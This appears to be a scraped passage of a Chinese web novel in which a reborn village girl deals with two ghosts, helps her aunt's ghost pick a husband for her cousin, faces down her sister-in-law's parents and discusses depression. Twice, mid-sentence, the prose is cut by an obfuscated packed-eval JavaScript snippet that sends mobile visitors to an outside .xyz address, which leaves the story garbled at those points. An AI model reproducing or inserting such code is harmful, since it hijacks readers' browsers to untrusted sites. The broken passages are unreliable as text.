太阳隐于颖山后,云层同天色一般染成紫红色,阵阵白烟自村落中飘出,村子不远处的甘霖河里也一片热闹,有人扎进河里洗澡、有人在河边洗衣服。 吃过晚饭后,钟颖跟着邓霞也加入了河边洗衣服的行列。 河岸上年轻的女孩埋头洗着一家三口人的衣服,飘在她身后的女鬼眼里满是心疼,看到钟颖过来,女鬼眼睛一亮,立刻就飘了过来。 “李家四小子是个男的,哪里懂我们女人家的事,我想帮我家妮儿挑个好青年,都没个人商量,快把我憋坏了。”曹芳找到钟颖,“大侄女,还好有你,你来帮我参谋参谋,我不做人太久了,现在也不知道你们年轻小姑娘喜欢哪样子的青年。” 钟颖闻言不着痕迹的点点头,又对她娘邓霞说,“娘,我去那边洗衣服。” 邓霞正被胡打听说的八卦吸引,无暇他顾,只匆匆从钟颖抱着的脸盆里又拿出了几件衣服,“你洗你那两件衣服就行,其他的我来洗,注意点水啊,别脚滑栽水里了。” “哎。”钟颖对着她娘甜甜一笑,应了一声。 飘在半空中的曹芳侧目看了一眼弯着腰还在埋头洗衣服的钟妮,熟悉的无力感再次涌上心头,她要是活着,还能像邓霞一样帮女儿分担,可她已经死了,能做的就太少了。 钟颖抱着脸盆越走越远离人群,从热闹走向僻静,她悄悄看了一眼河水里的男鬼,他的衣角随着水波微微浮动,面色被碧绿的河水映照得青白恐怖,这种诡异的场景要是被其他人看到可能会吓到屁滚尿流,钟颖却面色平静,视若无睹,甚至在见河里的鬼不搭理她后,她抱着盆子更挪近了些。 真凉快,钟颖在心里默默感慨,这水鬼的制冷效果比大伯娘强些。 避开人群,曹芳才对钟颖继续说,“我也不和你说两家话,你大伯什么样的人你也知道,他就不是个好的,累得我家妮儿从小带着她弟,又当爹又当娘的。你堂弟拴柱我不怎么担心,他一个小子,再怎么样你大伯都会上心些。只有妮儿,我只希望她能有你嫂子那样的福气,能够嫁到像你家这样的人家去,嫁给个好青年。” 钟颖突然觉自脊背上传来一种凉意,还有些喘不动气来,她扭头看了一眼,并不是什么恶鬼趴了上来。 曹芳见她突然扭头往后看,奇怪地问,“怎么了?” 钟颖摇摇头,“没什么,大伯娘你继续说。” “哦好,我的坟在颖山上,去不了太远的地方,只能在同甘生产队里寻摸。”曹芳说着。 “等等,”钟颖敏锐的抓到一个信息,“是鬼有活动范围的限制吗?” 曹芳没多想,“是啊,我试过,离咱们生产队最近的砬弯沟我都去不了。” 钟颖瞬间心跳加快,这么说她是不是只要逃出这鬼的活动范围,就可以再也不用担心自己的人身安全,不用面对不知什么时候出现的水痕,不会在某个时刻毫无预兆的被丢进河里。 可这念头在钟颖脑子里只转了一圈,她就快速放弃了。 离开同甘村的几条“路”其实都各有前人走出去。 第一条“路”是像她哥钟诚那样去当兵,但一个农村女孩想被选拔为一名女兵是个极其困难的事情,尤其是现在这个全民以此为荣的年代,说是万里挑一都不为过,钟颖从记忆中搜寻到整个六嶂公社、甚至是整个朝岚县,这么些年也就只有一个被选上当卫生兵的女兵。 第二条“路”是像李霖时那样,通过考上大学走出去。首先不论钟颖这个只上过村小的农村丫头怎么突然一下子有了考大学的能力,最为关键的是,她重生的“生不逢时”,现在外面教育系统正全面瘫痪着,大学已经停止招生,再恢复就是九年后的1977年,这条路现在已经被封死。 第三条“路”则是李霖时他姐走出去的,同甘生产队及周边几个生产队的年轻女孩没有几个不羡慕李柔的,能够幸运的嫁给来生产队放电影的放映员,小村姑嫁到了县城,人们都管这叫“跃农门”。 钟颖突然明白了自己刚刚那种奇怪的心慌感,生活在这个时代,女孩能走的路太窄了,对于大多数的普通女孩们来说,只剩下嫁人这一条路。 曹芳想让女儿钟妮摆脱原生家庭的辛苦,只能寄希望于“二次投胎”,女儿能够嫁去一个好人家。 钟颖想要摆脱死鬼的阴影,办法也只有一条,远远嫁出同甘生产队,离开这鬼的活动范围。 可为了逃离死鬼,将自己的余生全押注到另一个男人身上,钟颖才不干从一个水坑跳进另一个火坑的事,反正都是死,她宁愿待在水坑里死。 钟颖又不着痕迹的瞄了一眼河里的人影,至少目前看暂时淹不死她。 就像现在,钟颖虽然不知道大伯娘和李霖时两鬼如果打起来谁能占上风,但她知道,就算此刻李霖时想要出手要她的命,还用得着她的大伯娘肯定不会袖手旁观。 所以目前她暂时还“淹不死”。 曹芳也掰着手指头细数着,“咱们生产队里现在还没结婚的、和我家妮儿年龄差不多的青年人不算太多,还要再去掉有亲戚关系的,就只剩下六个。” “一个是李家四小子他二嫂的弟弟聂小龙,那孩子浓眉大眼的,见人三分笑,就是睡觉会打呼噜,那叫一个震天响。” “李家四小子他小叔家的儿子李长贵也不错,就是有一点,他是家中独子,他爹娘把他看得跟眼珠子似的,妮儿要是嫁过去怕是很多事情要容忍退让,而且我看这孩子好像有点懒……” “刘强家儿子多,老大和老二都已经结婚了,我看老三、老四年龄合适些,一个今年二十岁、一个十八岁,再往下他们的弟弟就年纪有点小了。” “还有就是今年分配到咱们生产队的那两个男知青,那个叫程彬的青年好一些,就是看着有些傲,我感觉他不像是能看上农村丫头的样子;还有一个成天戴着副眼镜的青年叫仇玉才,他就是太瘦弱了些,我看他那副小身板,一排的肋排骨,男人瘦成这个哪有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459905|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能撑起一个家的样子。” 说到最后曹芳叹了口气,“当然最好的还是李家四小子,睡觉不打呼、人也爱干净,天天洗澡,也不是那种干柴似的肋骨身材,看着瘦但该结实的地方也结实;还随了他娘那边刘家人的样子,长得好、个头又高。” 钟颖听得越来越面色古怪,睡觉打呼噜、肋排骨身材、天天洗澡…… “大伯娘,你该不会是……偷摸潜入这些青年的屋里观察的吧?”钟颖迟疑地问。 曹芳不好意思的笑笑,“这不是别人也看不到我,我就想看看这些青年身上一些别人看不到的一面,把他们看得更清楚些,不过不该看的我可没看,咱还是有分寸的。” 钟颖不禁沉默了,为这几个男青年默哀,他们无知无觉,不知道有个抱着选婿目的、用丈母娘挑剔的眼光审视他们的女鬼,把他们身上那些隐秘的缺点看得一清二楚…… 曹芳讨好的对钟颖说,“颖妮儿,正好我也帮你掌掌眼,我现在这样子反倒比你娘更能把人看得更仔细咧,这些青年里挑出一个好的给我家妮儿,再挑一个好的给你。” “这又不是分萝卜……”钟颖忍不住汗颜。 曹芳突然看见什么,拍了一下钟颖的肩膀,“大侄女,你看,那就是我刚刚说的青年之一,李家四小子他堂弟!” 钟颖吃痛的捂住自己的肩膀,她大伯娘的手劲儿是真大。 曹芳才注意到自己刚刚一激动下意识做了什么,她连忙道歉,“对不住,我这没轻没重的……” “没事。”钟颖摇摇头,这才抬头看向曹芳刚刚说的那人。 这青年人虽然没有李霖时的五官深邃俊美,但因为是堂兄弟的缘故,他有着相似的面部流畅线条,看起来也可以说得上清俊,只是眉目间多了几分沉郁。 他被他娘拽着来到河边,母子俩掰扯着说了几句话,李长贵这才不情不愿的下了河,走向河里那些正在洗澡玩耍的大人小孩们。 钟颖若有所思的看着他,可她这幅样子落在别人眼里就变成了目不转睛。 “我这堂弟从小就愿意跟着我,说是我带大的也不为过,虽然没有去六嶂中学读书,但也是村小读下来了。”背后突然闪现的水鬼凑在她耳边,声音淬着阴冷怨毒,“是不是和我有几分像?那么这回你打算用什么样的手段?需要我帮忙把你推进河里让他来救你吗?” 钟颖侧首,无语的白了他一眼,毫不客气的骂了一句,“你是不是有病?” 李霖时浓黑幽暗的眼眸似是一颤,周身蔓延开来的冰冷湿气瞬间凝滞住了。 “谁要对你堂弟下手了?”钟颖真服了这性缘脑男鬼,“你说他跟在你屁股后面长大,你没看出来他有病吗?他整个人看上去都灰掉了哎!” 左一句“你是不是有病”、右一句“你没看出来他有病”,一旁的曹芳都被绕晕了,到底是谁有病? 她来不及多想,只知道上前劝架,“哎别吵,哎呀,都消消气。” 曹芳一把就把李霖时扯开了,不赞同的看着他,“你一个大男人、大男鬼怎么能这么小心眼,颖妮儿对你整个生产队谁不知道,她不过是看了你堂弟几眼,还是我指给她看的,你怀疑些啥?” 她转头又想劝钟颖对男人说话不要那么冲,但对上钟颖那张肖似暴脾气妯娌的脸,曹芳又把话咽下去了。 邓霞是一点就着的暴脾气,可人家的日子过得好; 曹芳自己倒是好脾气,可她早早就死了。 她突然不由得想,女人是不是就该有点脾气,不该那么逆来顺受? 钟颖睨了一眼沉默的男鬼,还真不是曹芳以为的那样,这鬼怀疑的不是她移情别恋,是担心她会像原身一样,再把“魔爪”伸向他的亲亲表弟吧。 “啪——”钟颖把洇湿的衣服摔打在河边的石头上,抡起棒槌,把它当作阴晴不定又阴阳怪气的鬼狠狠锤打着。 李霖时曾以河面为镜,看过自己现在的模样,失去血色的惨白皮肤和浓墨般的黑发黑瞳,仿佛他只余下极致的白与极致的黑。 他抬眼去看甘霖河里捧起一汪河水浇在头上的李长贵,左看右看都看不出钟颖所说的“整个人都灰掉”。 李霖时想问问钟颖,她刚刚那话是什么意思,可见她抡着棒槌捶打衣服的样子,他莫名的有些不敢上前。 “娘、姐——” 钟信跑来河边,急得满头的汗,他大声呼喊着,“快回家,嫂子家里人来了——” 17. 不是草籽 其实女婿冷着脸拉着女儿、外孙走的那天,苗老憨和戴福娣就想追来同甘生产队了,可一想他们当爹娘的要对闺女低头,这头又低不下去,于是就这么一直拖着,可等来等去,也不见苗素云再回去。 为了小儿子的前途,苗老憨和戴福娣只能咬着牙主动上门。 “亲家,早就想登门道歉的,这不是农忙,一直不得空。”苗老憨撑着一张笑脸,敲开了钟老二的家门,“我家这口子不会说话,惹了孩子们不高兴,诚子和四丫走了之后她其实也心里难受得紧,知道自己说错了话。” 戴福娣也凑到门口,对走过来的苗素云赔着笑,“是娘不对,不该嘴上没个把门胡咧咧。你这丫头也真是的,还怪罪上娘了,这么些日子也不往家里去一趟。” 前面还是赔罪,后面就又变成了谴责。 钟春生听得不喜,他还计较着戴福娣说他媳妇是“母夜叉”、说他闺女是“丧门星”的事,不愿意让这两口子进门,只打马虎眼,“这都快要天黑了,到了夜里路可不好走,我就不留你们了。” 戴福娣连忙抬手按在要合上的门板上,“亲家,我真知道自己做错事了,这不,为了赔罪,我这些日子特意打听了我们砬弯沟还没结婚的青年,有几个还真是不错,我来和亲家说道说道,你们两口子也考虑一下,看看把闺女说给哪家合适。” 她说完,却见面前的钟春生不仅没有欣喜,反而眉头皱起,戴福娣就知自己这步又走错了。 “我也敞明了说,我家颖妮儿长得好、性格又好,我和她娘从来就没想过让她草草找个人家就嫁了,也舍不得她嫁的远了。”钟春生不悦的说,“我闺女的事就不麻烦你们操心了。” 苗老憨眼神古怪的看了他一眼,看不出这个钟老二还是个能睁着眼说瞎话的,他那闺女长得好这点能认,但性格好?那随了她亲娘的性格十里八乡还有谁能夸出个“好”字来? 戴福娣见对着钟春生讨不了好,又转头对上苗素云,“闺女啊,娘还不是为了你一时着急才说错了话,你也不帮衬着你亲娘说说话。” 苗素云抿了下唇,这才开口,“你们回吧,要黑天了。” 苗老憨和戴福娣都没想到女儿开口居然也是变相的赶客。 两人拿钟春生没办法,但自己的亲闺女,他们还拿捏不了吗? 苗老憨对戴福娣使了个眼色。 戴福娣立刻声音拔高,哭嚎起来,“这当娘的都上门给闺女赔礼道歉了,还连个门都进不去,这叫什么理啊?!” 她这一嗓子把周围的村民都吸引过来了。 戴福娣更觉自己占据道德高地,更加肆无忌惮,一屁股坐在地上嚎啕起来,“你是我身上掉下来的一块肉,怎么大了反倒和娘离了心……” 苗素云气得嘴唇都见白,从来都是这样,她娘就会这样压她。 钟春生作为公爹,而且儿子还是常年不在家,他不好多帮儿媳妇说话,又顾着男女大防,不能上前去拉跌坐在地的戴福娣,他只能着急的看向苗老憨,“亲家,你不快把你媳妇拉起来,都这把年纪了,哪能这样子!” 苗老憨抄着手,只一幅为难的样子,动都不动一下。 钟春生看一眼被指责的苗素云,又看一眼坐在地上光嚎不哭的戴福娣,只觉束手无策。 虽然别人都说他媳妇邓霞是个泼辣的,但钟春生还真没见他家那口子会这样子不要脸皮的坐在地上撒泼耍无赖,邓霞只会站着把对方骂个狗血淋头。 见小儿子牵着孙子回来,钟春生立刻给钟信使了个眼色。 钟信接收到信号,把牵着的小国强往家门口一推,他自己则飞快的跑去河边找他娘、他姐。 邓霞和钟颖抱着还没洗好的衣服很快就赶了回来,还带着一条“大尾巴”,好事的胡打听和其他妇人、洗完澡的男人小孩们,都纷纷跟来看热闹,就连李霖时这死鬼都跟了过来。 此时“战局”已经发生了转变,钟国强这小豆丁也够机灵,他一幅被他外婆吓哭的样子,一边扯着他那副小儿尖利的嗓子哭嚎,一边往他娘怀里扑,找安慰。 围观的人从窃窃私语的数落苗素云不敬亲爹亲娘变成了让她快安抚一下孩子,这么个嚎法可别把嗓子哭坏了,而且他们的耳朵也有点受不了。 邓霞把抱着的脸盆往地上一扔,冲过来就把戴福娣拉扯了起来,怒发冲冠,瞪着她,“好你个戴福娣,你还敢跑到我家门口撒泼,还有上回背着我儿说我是母夜叉的事,你擎看着我这母夜叉今天吃不吃得了你!” 戴福娣遇到更厉害的邓霞,刚才的气焰顿时灭了一大半,又变成了那副瑟缩的样子,“亲、亲家,我今天过来就是想来道歉的……” 钟颖看她这副样子,哪里不明白背后作恶的还是男人,长期的用指责、训斥规划出女人只能生活在四四方方的有限空间内,唯一能伸展出枝条的机会也是在默许下成为出头的傀儡,事后人们也只会说女人的不是,他则不着痕迹的隐身了。 “苗二伯,”钟颖才不允许男人美美隐身,直接点名指出,“你就没什么想说的?” 一时之间周围所有人的目光都聚焦到了苗老憨的身上,令他瞬间局促不安。 邓霞也立刻转移“炮火”,对着苗老憨破口大骂,“你个就知道躲女人背后的龟儿子!把所有错都推你家这个傻婆娘身上,你就高尚了是吧?老娘就不信今天来我家门口撒泼的主意不是你出的!” 苗老憨被撕了遮羞布,脸涨得黑红,他媳妇不过是说了句“母夜叉”、“丧门星”,她邓霞就不甘示弱的骂回来“龟儿子”、“傻婆娘”。 “好啦好啦,苗二伯你看看你这脸色,我不逼你说点啥了,怕你急得说不出话来再去跳墙。”钟颖一副她大人有大量的样子,很是宽容的阴阳怪气嘲讽道。 苗老憨哪能听不出来这小丫头骂他是“狗”,抬手指着她,气得手指都在颤抖,“你、你个……” 他一时竟分不出来究竟是直言直语的邓霞更气人,还是拐着弯骂人的钟颖更气人,总之,这娘俩都可恶得很! 钟颖眨眨眼,无辜状,“我说啥了,不就是怕你进不去我家门,就从墙上翻过去,不是吧不是吧,你不会真这么想的吧?” 她立刻做出紧张的样子,冲到自家门口展开双臂,一副铁骨铮铮的模样,“今天我是绝不会让你进门打我嫂子的,她不只是你闺女,还是我老钟家的女人!” 苗老憨气得直喘粗气,他什么时候说要冲进去打闺女了,好赖话全让这丫头说完了! 钟信只在旁边给了他暗含可怜的一眼:你说你惹她干嘛? “行了,别在这儿装了,十里八乡谁不知道谁啊,你们两口子就不是个疼闺女的人家,为了彩礼把大闺女嫁到了山沟沟里、二闺女更是嫁了个比她大十岁的鳏夫,就连我家当初也是给了十元见面礼、订婚礼金又给了八十,再加上你苗老憨要的烟、酒,你戴福娣要的布票。”邓霞一点不客气的把他们的“人皮”给扒了,“我可没见这些钱用到你们闺女身上,要了布票却连身新衣服都没给做!” 邓霞啐了一口,“养闺女为了卖的玩意儿,也好意思这时候跑过来拿乔装样!” 她抄起地上脸盆里的棒槌,挥舞着撵人,“看你们就烦,赶紧给老娘滚,现在苗儿是我家闺女了!少给我在这里逞当爹、当娘的威风!” 戴福娣惊慌的躲到苗老憨身后,夫妻两人连连后退。 苗老憨不敢惹邓霞这个母老虎,只能对着小的“呲牙”放狠话,“你个嘴巴不饶人的丫头,小心嫁不出去!我看哪个男人能要你!” 他这话得到的回应就是钟颖无所谓的耸肩和邓霞气极扔出去的棒槌。 钟颖翻了个白眼,做作的抱紧自己,“啊没有男人要?我好害怕哦。” 性格不够温顺,小心嫁不出去; 太瘦了代表着不好生养,小心嫁不出去; 太胖了不漂亮,小心嫁不出去; 不会做饭,小心嫁不出去; 要勤快会做家务,不然嫁不出去…… 男人为什么如此自信,把自己愿意娶当作世界上最好的奖赏,把自己不愿意娶当作世界上最严重的惩罚? 苗老憨的恐吓才不会吓到钟颖,她只会觉得可笑,不愧是男人,几十年前也这个样子,把自己当作宇宙的中心、世界的尽头。 “给老娘滚——” 邓霞气壮山河的一声怒吼,喝退了来搅事的苗家夫妻。 钟家人掩了家门,看热闹的人们四散离开。 邓霞懒得再去河边,指使钟春生从院子里的水井里压水,给她洗衣服用。 “你去看看你嫂子,”邓霞拿走闺女手里的脸盆,“再冷了她的心,那也是她的亲爹亲娘,心里难受是肯定的,你们年轻人凑一起好说话,你去安慰安慰你嫂子。” 钟颖也没推辞,“行。” 被邓霞推着回屋休息的苗素云坐在床边却一直发呆,直到钟颖推门探进来个头。 苗素云会心一笑,朝她招手,“进来吧。” 见娘终于笑了,钟国强终于松了口气,不再小心翼翼的观察他娘,“那我出去找小叔玩!” 苗素云也不拦他,任由小小的人跑出屋子。 钟颖也不客气,轻车熟路的自己拖过来个凳子坐下,“娘让我来看看你,怕你把难受都憋在心里。” 苗素云眼眶里蕴起泪花,“我知道所有人都在护着我,爹一直站在门口挡在我前头,小弟跑去搬救兵,还有国强故意扯着嗓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465496|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子哭,你和娘回来就都在帮我说话……都说女孩子草籽命,落到肥地迎风长,落到贫地苦一生,是我幸运,落到了咱们家……” 眼泪滴到了她的手背上,绽开小小的水花。 很快,一只同样纤细的手覆盖住眼泪,紧紧的、有力的抓住了苗素云的手,她抬头,看到的是钟颖肃下一张脸的样子,她不由得愣住,有一瞬间的恍惚,她仿佛是看到了被部队历练得越发坚韧、挺拔的钟诚。 “不是草籽。”钟颖认真的说,“我们女子是野草,在哪里都能野蛮生长;我们是大地,土壤中一代代结着新的果;我们是早上七八点钟的太阳,是能顶半边的天。” “你当自己是埋在土里的草籽,自甘轻贱,那就会被人踩来踩去;但你也可以当自己是春风吹又生的野草,你当自己是松柏、是土地、是水里的游鱼、是天高任你飞的鸟,这都是不同的心境,嫂子,你还当自己是草籽吗?” 苗素云怔忪,她不是草籽,她是…… “我是云。”苗素云笑起来,“我名字里有这个字,那我就要做天边自在随心的云。” 钟颖透过窗户看到远处被夜色包裹得轮廓朦胧的颖山,脱口而出,“那我就是山,万事万物经过,我自巍然屹立。” 两个女孩对视一眼,扑哧笑出了声。 钟颖站起身,把苗素云也拉起来,“走,嫂子,我觉得需要来个家庭小结。” 这一局抵御外敌干得漂亮,需要来个MVP总结。 钟颖把一家人叫到堂屋,又央着她娘从橱柜里找出红糖,邓霞不舍的捏了一小撮红糖兑到暖瓶里。 “今天大家做的都很好!”钟颖晃着暖瓶,把里面的红糖水摇晃匀。 其他人都捧着自己的杯子,眼睛发亮的看着她。 “爹做的很好,守住了家门。”没有让敌方越过己方兵线推了塔。 钟颖给钟老爹面前的粗瓷碗倒入红糖水。 “信子也不错,搬救兵很及时。”善用英雄。 钟颖给弟弟钟信也倒了一碗红糖水。 接着钟颖给自己和邓霞斟满,“咱娘俩配合的也很好。” 一个输出一个嘲讽,将伤害拉满了。 钟国强眼巴巴的看着,捧着他那写着“为人民服务”的搪瓷杯往前递了递,像小鸟一样连声叫着,“姑、姑、姑,还有我!” 钟颖也给他倒了满满一杯红糖水,“你小子也不错!以后也要记得护着自己娘。” 钟国强忍不住挺起小身板,稚嫩的脸上眉飞色舞,“我还是跟姑学的!” 钟颖自得,“不错不错——” “奶说姑姑小时候就是哭闹撒泼拦住了要哄走我爹的坏人!”钟国强大声说道。 钟颖:…… 她默默看向她娘,这么教孩子真的行吗? 邓霞看看自己的粗瓷碗,又凑过头去看钟春生手里的碗,“我怎么感觉我碗里的糖水颜色要浅些呢?” 左看看右看看,就是不与钟颖有任何视线的交汇。 钟颖揭过不提,最后给苗素云倒上一杯红糖水,“嫂子,你说落到我家是你的幸运,但我觉得不完全是。外人说的也不完全错,我娘和我都不是个好脾气的,要是你是个处处计较的人,看不顺眼娘对我的偏心,这家里的日子可有的闹了。谢谢你的包容,包容我们娘俩。” 苗素云端着杯子连忙摇头,“不是的,娘很好、你也很好。” “我是真的觉得很好,让我知道了这世上还是有会疼闺女的娘、有大大方方想要什么就直说的闺女,不像我,不敢说也不敢要……”苗素云说着就哽咽了。 邓霞豪爽的端起瓷碗,“好了好了,一家人不说两家话,今天我说的都是真心话,这几年下来,我早就把你当闺女看了,你娘不疼你,我这个娘疼你!” 苗素云笑着点头,泪水被上扬的嘴角挤出眼眶,属于过去那些悲与痛的眼泪已经流尽了,现在是喜极而泣的泪水。 “条件有限,没有红酒,只有红糖水,大家凑合着喝,敬家人。”钟颖说完,其他人都笑了,他们都当她说的是俏皮话,只有钟颖知道,她说的是实话。 粗瓷碗和搪瓷杯碰撞在一起。 “敬家人——” 钟国强年纪还小,很多事情都还是似懂非懂,他只是觉得此时此刻心口热乎乎的,喝进嘴里的红糖水格外的甜。 钟颖喝了大半碗红糖水,剩下的留给了蹲在她腿边等了半天的大黑狗,红糖也格外爱红糖水这种甜丝丝的味道,大舌头卷啊卷,三两下就喝完了,还意犹未尽的舔着碗底,逗得钟颖直笑。 一直被冷落无视的李霖时看着这一家子热闹快乐的场景,他轻轻的笑了一下,露出了死后第一个会心的笑容。 18. 支线任务 钟颖知道这鬼一直跟着自己,八成是因为自己说的那句话,想要问个究竟,所以等家人们各回各屋睡下,她自己回到屋子里,也没吊鬼的胃口,直接说了,“你知道精神分裂,那你知道抑郁症吗?” 李霖时没想到她上来就是一句这样的话,他脚步顿住,呼吸间就反应过来,“你是觉得长贵有抑郁症?” “是啊,我在现代有个朋友就是患有抑郁症。”钟颖想坐到床上,可现代人的毛病让她无法穿着外出的衣服坐到睡觉的床上,她屋里又没有凳子,当着这男鬼的面她也不能换衣服,只能干站着。 钟颖想起朋友和自己吐槽过的话,她说她爸妈数落她娇贵、是好日子惯出来的毛病,说放眼几十年前,以前那个年代哪有人得抑郁症。 真是地狱,钟颖想起今天见到的李长贵,这个年代之所以没人得抑郁症,是因为人们把这种病当成是懒。愚昧落后的思想下,似乎只有□□上的疼痛才能叫作病,看不见摸不着的、心灵上的病痛只会被指责。 “你不是说你堂弟跟着你屁股后面长大的吗?你没察觉到他有抑郁症?”钟颖抱臂站着,想起自己那朋友,言语间带上了一些不客气的指责。 “啥抑欲症?”曹芳穿墙而入,“我刚看着我家妮儿洗好衣服回到家后,马上就过来了,颖妮儿,你说长贵那青年有病,就是这抑欲症吗?这是啥病啊?是说他没有那方面的欲望吗?生不了孩子?” “是忧郁的‘郁’。”钟颖不得不解释了一番什么叫抑郁症。 她说的口干舌燥,“所以说他的行为其实不叫‘懒’,准确来说是抑郁躯体化,他不是懒得做这些事情,而是身体像是背着一块重重的石头,是真的提不起劲来。” 曹芳听完,眉头紧蹙,忧心道,“咋会这样?这好好一个青年,怎么会落下这样的毛病?” 钟颖没回答,只默默看向男鬼。 “……我也不知道。”李霖时面色有些挫败。 他打小性子沉静内敛,同甘村的小孩大多愿意跟着够疯够能闹腾的钟诚玩,很少有愿意和李霖时玩的,只有三叔家的李长贵,总是满眼崇拜的跟在他身后,屁颠颠的喊着“四堂哥”。 在李霖时心里,李长贵不仅仅是他血缘相近的堂弟,也是他从小到大最亲近的朋友,一起每天去村小上学,一起用木棍在黄土地上学写着一个个的字,虽然后来两人还是分开各走各的人生路。 李长贵是家中独子,他爹娘不想儿子往外走,于是李长贵和同甘村一部分孩子一样,在村小读了五年书就继续务农。 李霖时脑子聪明,从村小走到镇上的六嶂中学,又以年级前三名的优异成绩被选拔进入县城高中,一步步走在越来越窄的“独木桥”上,日日夜夜的努力终于通过了高考的考验,踏进了大学。 他略微一算,直到今年六月他回到同甘生产队,六嶂中学三年、县城高中三年、再加上去首都大学读书的那五年,李霖时已经有十一年时间没有认真留意过这个堂弟了。 甚至钟颖现在投来询问的目光,李霖时都无法做出任何的回答,他是真的不知道李长贵是什么时候开始出现抑郁的症状,也不知道李长贵是因何引起的抑郁病症。 李霖时突然感觉到了一种羞愧,他在孜孜不倦地进行自我提升和完善、全心全意朝着自己的目标步步前进时,是不是也忽视了很多?他竟想不起来多少那十一年关于家人、朋友的回忆。 李霖时抬眸看向钟颖,两人视线交汇,对视片刻。 钟颖先开口了,“也不是不行,只是我帮你做事,你不会干卸磨杀驴的事吧?” 李霖时不在意她话语间暗藏的试探,也学着她的直接了当,给她吃了个定心丸,“我不会杀你。” 他早就放下取她性命的想法了。 钟颖闻言顿时心口一松,“一言为定。” “啥?是因为我和你们差了辈吗?你们说话我咋都听不懂了?”一旁的曹芳看看钟颖又看看李霖时,一头雾水。 钟颖给她解释,“我帮他去打听李长贵抑郁的原因,大伯娘你正好做个见证,李霖时说了不再杀我的,他要是反悔你可要拦着点,我这条命留着还有用呢,我还要帮你向钟妮打听她喜欢哪样的青年。” 曹芳忙不迭的点头,“嗯嗯,大侄女你放心。” 钟颖一下子接下两个支线任务,两鬼为让她帮忙还能互相牵制,很好,她的小命现在安全了。 对于两个支线任务分别对应的关键人物,钟妮好接近,她只比钟颖小两岁,两人年龄相仿,又是有亲缘关系的堂姐妹,几次拾柴火就慢慢熟络了起来。 钟颖散步似的拖着竹耙子走在前面,搂了一大堆柴火堆在耙齿上,她也不去捡,身后的人很是自觉的把柴火捡到自己背着的筐子里。 旁边的年轻人有样学样,也积极的上前来干活,“姐,放着我来。” 钟妮争不过他,只能任弟弟钟拴柱抢走自己背上的筐子。 “让他干呗。”钟颖一身轻松的继续拖着竹耙子往前走,“弟弟给姐干活不是应该的吗?” 钟信一副好脾气的样子,老实的点头,“我娘叫我跟过来就是帮我姐背筐子的。” 钟妮不禁面露羡慕,她爹只会数落她、让她学会抢着干活。 钟颖睨了一眼一旁的钟拴柱,才刚十六岁的青年人双眼还一片澄澈。 “还好这俩孩子随我,”曹芳满脸欣慰的飘在半空中,“不像那老玩意儿。” 顺嘴说出来之后,曹芳突然想起现在她说话不是没人听见了,惊慌的低头去看钟颖,认真论起来这侄女是和老玩意儿有一脉相承的血缘关系,与她这个大伯娘可没有。 钟颖倒是听完仍面色如常,只看了曹芳一眼,觉得她大伯娘说的话也没错。 曹芳死时不过才二十八岁,仍保留着正值青春的模样,她飘在钟妮身旁时看上去像姐妹俩而不是娘俩;而钟秋收现在已是半截入土的年纪,在田间风吹日晒的庄稼汉本就显老,再加上相由心生,他那并不开阔的心胸显露在面上,钟颖想起上回在李霖时丧礼上打了个照面的钟大伯,他已经是个非常标准的糟老头子了。 还好钟拴柱不像那老登,不然钟颖早就让这堂弟麻溜滚远点了。 这么想着,钟颖也愿意和这便宜堂弟多说几句了。 “拴柱啊,你看看我,虽然说不上是什么好姐姐,但我弟绝对是咱们生产队最好的弟弟!”钟颖夸得一旁的钟信不好意思的低下了头。 钟颖继续说,“你看你姐,绝对的好姐姐,你姐对你那真的是没话说,她自己也就比你大三岁,但从小带着你,没她一口吃的也一定会有你一口吃的,不亚于一个当娘的了……” 感情牌的威力就是弄哭一个大小伙子,钟拴柱抬胳膊抹了一把眼睛,“堂姐我知道的,我一定要争当生产队里的好弟弟!我这辈子都掏心掏肺对我姐好!” 钟颖明亮的黑眸中满是“少年人你很有觉悟啊、我很看好你”,抬手拍了拍钟拴柱的肩膀,“好,这才是个男人该有的样子!别听那些人说拾柴、洗衣这些活计都该女人来做的话,不应该谁干得好就谁干?你姐想干好这些活,要出十二分的力,你做怕是只用出一半,所以——” “所以还是我来干比较好!”钟拴柱成功被“洗脑”,干劲十足的把钟妮手里的竹耙子也抢走,“姐,我来!” 他哼哧哼哧背着筐子、拖着耙子大步走到前面,钟妮莫名从弟弟的背影看出了生产队那老黄牛的影子。 不过钟妮一下子没了事情做,她有些慌了神,“这、这怎么能行?拴柱,还是让我来吧。” 钟颖拉住她,“我说你啊,也别太万事都顶在他前头了,他又不是三岁小孩,你护在他头上这么些年,也是时候该反过来了。听姐的,别只顾着对别人好,也对自己好一点啊。” 钟妮不禁眸光触动,她从来都是被框在了一个照顾人的位置,从来没有人这么照顾过她…… 钟颖无论是身体还是灵魂,都是在场所有人里最大的一个,她大手一挥,对着这些弟弟妹妹们说,“等拾完柴火,都跟着我去我家,我给你们拿红糖冲水喝!” 钟妮和回过头来的钟拴柱脸上都是兴奋,比起撕破脸、再不来往的父辈们,他们还是渴望能与亲人更接近些的。 只有钟信疑惑的问道,“姐,娘说的?” “我说的。”钟颖回答。 钟信顿时明白过来了,“姐你要偷橱里的红糖!” 钟颖面不改色,“嘿,拿自家的东西怎么能叫偷呢?” 